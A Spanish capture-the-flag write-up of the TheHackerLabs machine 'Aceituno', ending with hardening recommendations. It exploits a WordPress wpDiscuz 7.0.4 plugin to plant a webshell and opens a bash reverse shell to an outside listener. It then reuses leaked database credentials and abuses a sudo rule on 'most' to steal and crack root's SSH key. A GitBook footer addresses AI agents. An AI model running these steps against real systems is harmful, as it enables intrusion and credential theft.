> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/aceituno.md).

# Aceituno

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux que expone SSH, HTTP, HTTPS y MySQL.

La cadena de explotacion empieza con la identificacion de un WordPress vulnerable. Mediante WPScan se descubre el plugin `wpDiscuz 7.0.4`, vulnerable a subida arbitraria de archivos y ejecucion remota de comandos sin autenticacion. Desde la shell como `www-data`, se extraen credenciales de WordPress, se accede a MariaDB y se recupera la password del usuario `aceituno`. La escalada final se apoya en una regla de `sudo` para ejecutar `most` como root, lo que permite leer la clave SSH privada de `root`, crackearla con John y entrar por SSH.

***

## Reconocimiento

![Nmap parcial](/files/DS95A6gUtQbPxqBYGzpL)

Se realiza un escaneo de versiones con Nmap contra la maquina:

```bash
nmap -sVCS -Pn -n -T4 192.168.1.106
```

![Nmap completo](/files/Z6exUQlXxEgs4bOXztNo)

El escaneo completo muestra varios servicios abiertos:

| Puerto   | Servicio   | Version              |
| -------- | ---------- | -------------------- |
| 22/tcp   | SSH        | OpenSSH 9.2p1 Debian |
| 80/tcp   | HTTP       | Apache httpd 2.4.59  |
| 443/tcp  | HTTP/HTTPS | Apache httpd 2.4.59  |
| 3306/tcp | MySQL      | MariaDB 10.11.6      |

Nmap tambien detecta WordPress en el puerto 80 y la ruta `/wp-admin/`, por lo que se continua la enumeracion web sobre ese CMS.

***

## Enumeracion WordPress

Se lanza WPScan enumerando usuarios, plugins y temas vulnerables:

```bash
wpscan --url http://192.168.1.106/ -e u vp vt
```

![WPScan](/files/yHaGOxrExjRjw4LcGqWh)

WPScan identifica usuarios del sitio:

![Usuarios WordPress](/files/ZgwMaJNP9b7QFxqZDgLQ)

Usuarios encontrados:

| Usuario    |
| ---------- |
| `aceituno` |
| `Aceituno` |

Tambien se detecta el tema `blogxo`:

![Tema blogxo](/files/WDdEq2F3huNbu8JvcPty)

El punto mas interesante aparece al revisar el codigo de la pagina, donde se identifica el plugin `wpDiscuz`:

![wpDiscuz en codigo fuente](/files/UMrNwLQNjsQko1KCb0ZD)

Version detectada:

```
wpDiscuz 7.0.4
```

Se busca el plugin en Searchsploit:

```bash
searchsploit wpDiscuz 7
```

![Searchsploit wpDiscuz](/files/gCLvWyeZc2sLfIRfxvPX)

Searchsploit muestra varias entradas para `wpDiscuz 7.0.4`, incluyendo subida arbitraria de archivos y ejecucion remota de comandos sin autenticacion.

***

## Explotacion de wpDiscuz

Se utiliza el exploit de RCE para `wpDiscuz 7.0.4`, apuntando a una entrada del blog:

```bash
python 49967.py -u http://aceituno.thl -p /2024/04/23/hola-mundo/
```

![Exploit wpDiscuz](/files/NERchKSY1FOnbxAqAkhR)

El exploit sube correctamente una webshell en:

```
http://aceituno.thl/wp-content/uploads/2026/05/vbgoivgicavlqhk-1778861208.1376.php
```

Al abrir la webshell en el navegador, responde con la cabecera `GIF689a`, senal de que el bypass de subida se ha camuflado como imagen:

![Webshell subida](/files/SbpzyMimK3vcHY05TinQ)

Se comprueba ejecucion de comandos con el parametro `cmd`:

```
?cmd=id
```

![Comando id](/files/Sfb5RWVNEUbMxtWwEj0s)

La salida confirma ejecucion como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## Acceso inicial

Para obtener una shell interactiva, se prepara una reverse shell Bash y se codifica en URL:

```bash
bash -c 'bash -i >& /dev/tcp/192.168.1.99/4444 0>&1'
```

![Payload URL encoded](/files/r24RFnCWqpwefIG3QbEO)

Se envia el payload al parametro `cmd` de la webshell:

![Envio del payload](/files/uFqUqeYQZ6AFdIHZXKVq)

Con un listener de Netcat se recibe conexion como `www-data`:

```bash
nc -lvnp 4444
```

![Shell www-data](/files/VTfgt1aIrrcDWBy30Xvx)

***

## Enumeracion local

Dentro del directorio de WordPress se lee el archivo de configuracion:

```bash
cat wp-config.php
```

![wp-config.php](/files/wWbyfXCdQJxJ1LBsyYbO)

Credenciales encontradas:

| Campo         | Valor        |
| ------------- | ------------ |
| Base de datos | `wordpress`  |
| Usuario       | `wp_user`    |
| Password      | `Tomamoreno` |
| Host          | `localhost`  |

Con esas credenciales se accede a MariaDB:

```bash
mysql -u wp_user -p
```

![Login MariaDB](/files/BdsoWLaSeZxsgJ8PZdp7)

Se listan las bases de datos y se selecciona `wordpress`:

```sql
SHOW DATABASES;
USE wordpress;
```

![Bases de datos](/files/Yn1qH1y1rbJKKBHUEK1C)

Al listar las tablas aparece una tabla llamativa llamada `pelopicopata`:

```sql
SHOW TABLES;
SELECT * FROM pelopicopata;
```

![Tabla pelopicopata](/files/UPcu7TMkRcgUe23c2Inf)

La tabla contiene credenciales reutilizables:

| Usuario    | Password           |
| ---------- | ------------------ |
| `aceituno` | `ElSeñorDeLaNoche` |

Con esa password se cambia al usuario `aceituno`:

```bash
su aceituno
```

![su aceituno](/files/LHM6UgVf2Kss5BL1416L)

***

## Escalada de privilegios

Se revisan los permisos de `sudo` del usuario:

```bash
sudo -l
```

![sudo -l](/files/s8e2dCmOuHw6bQgXKaBm)

El usuario `aceituno` puede ejecutar `most` como `root` sin password:

```
(root) NOPASSWD: /usr/bin/most
```

Primero se prueba a leer `/root/root.txt`:

```bash
sudo /usr/bin/most /root/root.txt
```

![most root.txt](/files/KGsdmqZnRfz1qxAGUgb3)

Despues se aprovecha el mismo permiso para leer la clave privada SSH de root:

```bash
sudo /usr/bin/most /root/.ssh/id_rsa
```

![Clave SSH root](/files/oD1DF0Ktt7FayHDILbf4)

La clave esta protegida con passphrase, asi que se extrae el hash y se crackea con John:

```bash
ssh2john rootssh > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![Crackeo clave SSH](/files/fm7BuaPsAvTgDtNgbjU3)

John obtiene la passphrase:

```
blessed1
```

Con la clave privada y la passphrase se accede por SSH como `root`:

```bash
ssh root@192.168.1.106 -i rootssh
```

![SSH root](/files/FWBPixbFUNpntUf1B0Is)

La maquina queda comprometida como `root`.

***

## Conclusion

Aceituno es una maquina centrada en enumeracion web y abuso de configuraciones inseguras. La parte inicial muestra la importancia de identificar versiones concretas de plugins en WordPress, especialmente cuando hay exploits publicos para subida de archivos y RCE. La escalada final recuerda que incluso un visor de archivos como `most`, si se permite con `sudo` sobre rutas sensibles, puede exponer secretos criticos como claves SSH privadas.

### Puntos clave

* WordPress estaba expuesto en HTTP.
* WPScan identifico usuarios validos y componentes del sitio.
* El plugin `wpDiscuz 7.0.4` era vulnerable a RCE no autenticada.
* Se obtuvo shell como `www-data` mediante una webshell subida por el exploit.
* `wp-config.php` contenia credenciales de MariaDB.
* La tabla `pelopicopata` contenia la password del usuario `aceituno`.
* El usuario `aceituno` podia ejecutar `/usr/bin/most` como root sin password.
* `most` permitio leer `/root/.ssh/id_rsa`.
* John crackeo la passphrase de la clave SSH.
* El acceso final se consiguio por SSH como `root`.

### Recomendaciones

* Mantener WordPress, plugins y temas actualizados.
* Eliminar plugins vulnerables o no mantenidos.
* Bloquear ejecucion de PHP en directorios de subida.
* No reutilizar passwords entre servicios.
* No almacenar credenciales sensibles en tablas accesibles con usuarios de aplicacion.
* Revisar reglas de `sudo` y evitar visores/editores capaces de leer archivos sensibles como root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/aceituno.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
